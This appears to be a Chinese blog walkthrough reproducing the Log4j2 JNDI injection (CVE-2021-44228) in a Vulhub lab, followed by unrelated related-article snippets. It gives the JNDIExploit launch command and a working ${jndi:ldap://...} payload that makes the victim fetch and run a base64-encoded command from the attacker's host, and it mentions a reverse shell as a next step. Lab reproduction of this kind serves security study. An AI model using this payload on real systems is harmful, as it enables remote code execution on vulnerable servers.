Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

news/2024/7/2 23:02:51

复现环境以及使用的工具

环境:使用Vulhub的漏洞环境
工具:bp和JNDIExploit-1-1.2,需要Java环境!!

攻击机和受害机配置

受害机:kali,ip地址为:192.168.150.135。使用vulhub漏洞环境,浏览器访问:http://192.168.150.135:8983/solr/#/
攻击机:windows11,使用JNDIExploit-1-1.2,ip为: 172.16.2.52

其实攻击机最好也为Linux,这样后续反弹shell命令比较方便,但这里只是漏洞复现与验证,所以使用windows作为攻击机

windows攻击机进行漏洞验证

1. 使用命令,开启工具

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.2.52 -p 8983
-i:ip地址
-p:侦听端口,此为工具http侦听端口,可随意。工具会开启LDAP端口1389-p设置的http端口

在这里插入图片描述

2. 使用浏览器访问受害者机服务,并使用BP抓包

在这里插入图片描述
访问受害者漏洞网页进行抓包测试:
在这里插入图片描述

3. BP修改数据包,注入恶意代码

使用bp将get请求转为post请求,并增加任意参数a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/base64的命令}
这里命令受害机执行touch /tmp/1234,touch /tmp/1234的Base64编码为:dG91Y2ggL3RtcC8xMjM0
a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}
在这里插入图片描述
该恶意代码利用过程及其作用:
攻击机访问受害者服务,并插入恶意代码${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}。受害机则访问172.16.2.52:1389(攻击工具地址),攻击工具则自动构造payload,执行dG91Y2ggL3RtcC8xMjM0
在这里插入图片描述

进入受害者机的容器,查看是否攻击成功

上述攻击代码目的是touch /tmp/1234,查看受害者机是否成功创建1234文件
在这里插入图片描述
成功创建,漏洞利用成功。则可利用一系列命名使得受害者机反弹shell,这里就不再演示!


http://lihuaxi.xjx100.cn/news/1241537.html

相关文章

华为OD机试真题 JavaScript 实现【日志采集系统】【2023Q1 100分】

一、题目描述 日志采集是运维系统的的核心组件。日志是按行生成,每行记做一条,由采集系统分批上报。 如果上报太频繁,会对服务端造成压力;如果上报太晚,会降低用户的体验;如果一次上报的条数太多&#xf…

线程池的主要处理流程及常用方法

线程池的主要处理流程及常用方法 更多优秀文章,请扫码关注个人微信公众号或搜索“程序猿小杨”添加。 一、主要处理流程: 当调用线程池execute() 方法添加一个任务时, threadPoolExecutor.execute,具体代码如下: p…

CVPR 2023 | 基于金字塔模型的异常检测方法

来源:投稿 作者:橡皮 编辑:学姐 论文链接:https://arxiv.org/pdf/2211.11317 0.背景: 工业异常检测旨在发现产品的异常区域,在工业质量检测中发挥着重要作用。在工业场景中,很容易获得大量的正…

力扣 1483. 树节点的第 K 个祖先

力扣 1483. 树节点的第 K 个祖先 题目地址:https://leetcode.cn/problems/kth-ancestor-of-a-tree-node/ 暴力查找(超时)哈希查找(超空间)树上倍增 预处理 ancestor 数组记录了第 i 个 node 的倍增祖先&#xff0c…

Linux系统实现虚拟内存教程

Linux系统实现虚拟内存有两种方法:交换分区(swap分区)和交换文件, 一、交换文件 查看内存:free -m , -m是显示单位为MB,-g单位GB free -g 创建一个文件:touch命令用于修改…

Redis6之数据类型

常见数据类型 String字符串 简介 String是最基本的数据类型&#xff0c;是二进制安全的&#xff0c;一个key对应一个value 常用命令 1.set <key> <value> :添加键值对 2.get <key>&#xff1a;查询对应键值对 3.append <key> <value>&#xf…

微信小程序开发大坑盘点

微信小程序开发大坑盘点 起因 前几天心血来潮&#xff0c;想给学校设计个一站式校园小程序&#xff0c;可以查询成绩&#xff0c;考试信息&#xff0c;课表之类的&#xff08;本来想法里是还想包括一些社交功能的&#xff0c;但这个因为资质问题暂且搁置了&#xff09;。其实…

pandas---数据合并(concat、append、merge)

1. concat函数 pd.concat([data1, data2], axis1) 按照行或列进行合并&#xff0c;axis0为列索引&#xff0c;axis1为行索引。 df1 make_df([1, 2], [A, B]) df2 make_df([3, 4], [A, B]) display(df1, df2) # 默认上下合并&#xff0c;垂直合并 pd.concat([df1, df2]) …